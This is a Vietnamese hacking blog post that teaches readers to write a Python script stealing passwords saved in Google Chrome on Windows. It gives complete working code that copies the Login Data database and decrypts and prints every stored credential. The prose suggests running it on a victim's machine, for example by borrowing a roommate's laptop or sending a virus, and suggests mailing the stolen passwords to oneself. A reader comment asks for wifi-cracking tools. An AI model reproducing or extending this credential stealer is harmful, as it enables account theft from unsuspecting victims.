Đăng trong Hacking

Tự viết chương trình đánh cắp password được lưu trong Chrome bằng Python

Dẫn nhập

Google Chrome là 1 trong các trình duyệt web phổ biến nhất hiện nay, cùng với Firefox, và ít phổ biến hơn là Internet Explorer, Microsoft Edge, Opera, hay ở Việt Nam là Cốc Cốc.

Nếu bạn đã từng dùng chức năng Save Password trên Chrome thì sau khi đọc bài này bạn sẽ phải suy nghĩ lại. Chỉ với vài dòng code Python đơn giản, mật khẩu của bạn sẽ phơi bày ra trước mắt và trở thành mồi ngon cho các hacker.


Cách Google Chrome lưu trữ password của bạn

Trong Windows, trình duyệt Chrome lưu trữ password của người dùng vào 1 file có tên Login Data nằm tại địa chỉ:

C:Users<User Account>AppDataLocalGoogleChromeUser DataDefaultLogin Data

Trong đó <User Account> là tên user đang dùng.

Đây là file dạng cơ sở dữ liệu SQLite.

Chúng ta sẽ thử dùng 1 trình đọc file SQLite để xem file này được tổ chức như thế nào. Ở đây tôi dùng phần mềm SQLiteStudio để đọc file Login Data. Kết quả như hình sau:

Bạn có thể thấy thông tin đăng nhập của người dùng được lưu trong bảng logins với rất nhiều trường khác nhau. Chúng ta chỉ cần chú ý 3 cột: username_value, password_valuesignon_realm. Cột username_value và signon_realm ở dạng plain text, riêng cột password_value đã được Chrome mã hóa vì mục đích bảo mật. Vậy password này được mã hóa như thế nào?

Câu trả lời là Chrome sử dụng hàm mã hóa CryptProtectData của Window’s API với key được tạo ra từ tài khoản Windows User của người dùng. Và để giải mã password, bạn sẽ dùng hàm CryptUnrotectData cũng thuộc thư viện Window’s API, với điều kiện tiến trình giải mã phải được thực hiện dưới cùng quyền Windows User của người dùng đã lưu password. Như vậy để giải mã password, bạn cần phải đăng nhập được vào windows user của victim.

Vậy làm sao để đăng nhập được vào Windows User của victim. Đây lại là 1 vấn đề nan giải khác, không thể gói gọn trong 1 bài viết được. Chẳng hạn bạn dùng kĩ thuật socical enginering để … mượn laptop của thằng cùng phòng;  hay người khác nhờ bạn sửa máy, cài win; … hoặc cao cấp hơn, bạn viết 1 con virus rồi gửi cho victim, trong đó có đoạn code lấy mật khẩu rồi gửi về mail của bạn, … Đó là tùy thuộc vào hoàn cảnh cụ thể và trình độ của bạn.

Giờ thì bạn đã biết cách Chrome lưu trữ password người dùng rồi. Chúng ta bắt tay vào code nào


Code

Đây là đoạn code Python để giải mã password.

Ở đây tôi dùng Python 3.6.5, nếu bạn đọc dùng phiên bản Python khác có thể sẽ cần phải chỉnh sửa đôi chút.

import os
import sys
import sqlite3
import shutil
import win32crypt

db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'GoogleChromeUser DataDefaultLogin Data')
tmp_file = os.path.join(os.environ['LOCALAPPDATA'], r'GoogleChromeUser DataDefaultLoginDataCopy')
if os.path.exists(tmp_file):
    os.remove(tmp_file)

# In case file locked
shutil.copyfile(db_file_path, tmp_file) 

connect = sqlite3.connect(tmp_file)

for row in connect.execute('select signon_realm, username_value, password_value from logins'):
    try:
        password = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)[1]
    except:
        sys.exit(-1)
    if row[1] and row[2]: # Print if Username and Password found
        print('{0:<40}{1:<30}{2}n'.format(row[0], row[1], password.decode()))

# Close connection and remove temp file
connect.close()
os.remove(tmp_file)

Tôi sẽ giải thích code cho bạn nào chưa hiểu.

Các module quan trọng cần import:

  1. Module sqlite3 giúp thao tác với cơ sở dữ liệu SQLite.
  2. Module win32crypt chứa các hàm mã hóa và giải mã của thư viện Window’s API.
db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'GoogleChromeUser DataDefaultLogin Data')

Dòng này nhằm lấy địa chỉ đường dẫn file login data.

Nếu bạn đang mở Google Chrome, khi truy xuất vào file login data có thể sẽ báo lỗi nên tôi copy file này thành 1 file tạm tmp_file và sẽ thao tác trên file này.

for row in connect.execute('select signon_realm, username_value, password_value from logins'):

Ở đây tôi thực hiện câu lệnh truy vấn của SQLite nhằm trích xuất ra 3 cột signon_realm, username_value, password_value từ bảng logins.

password = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)[1]

Hàm CryptUnprotectData() sẽ giải mã password được lưu trong row[2].

Nếu tìm thấy password tôi sẽ cho in ra màn hình kết quả.

print('{0:<40}{1:<30}{2}n'.format(row[0], row[1], password.decode()))

Password sau khi giải mã ở dạng byte nên ta cần hàm decode() để chuyển thành string.

Và kết quả khi chạy chương trình:


Lời kết

Để phát triển tiếp code, bạn có thể chỉnh sửa đoạn code 1 tí để thay vì in kết quả ra màn hình, ta sẽ in ra 1 file .txt. Rồi cho chương trình gửi file password về hộp mail của bạn chẳng hạn. Phần còn lại xin dành cho bạn đọc.

Như vậy là với đoạn code đơn giản, bạn đã có thể trích xuất mật khẩu được lưu trên trình duyệt Chrome.

Vậy biết rồi thì làm sao để phòng ngừa?

Không có cách nào là an toàn tuyệt đối cả, tuy nhiên nếu bạn vẫn muốn lưu password trên trình duyệt Chrome thì tôi khuyên bạn nên dùng thêm các add-on của hãng thứ 3 giúp lưu trữ password. Hoặc chuyển hẳn sang dùng Firefox, với cơ chế Master Password, mật khẩu của bạn sẽ được bảo vệ an toàn hơn (tôi không bảo là an toàn tuyệt đối nhé).


Download mã nguồn chromepass.py

Một suy nghĩ 3 thoughts on “Tự viết chương trình đánh cắp password được lưu trong Chrome bằng Python

  1. ANH ơi . chỉ em cách viết tools hack wifi WPA2 , WPA3 đi ah

    em đang cần
    máy em chipset intel nên nó ko hỗ trợ monitor mode . em ko dùng kali linux hack đc .
    cám ơn anh nha

    Thích

Bình luận về bài viết này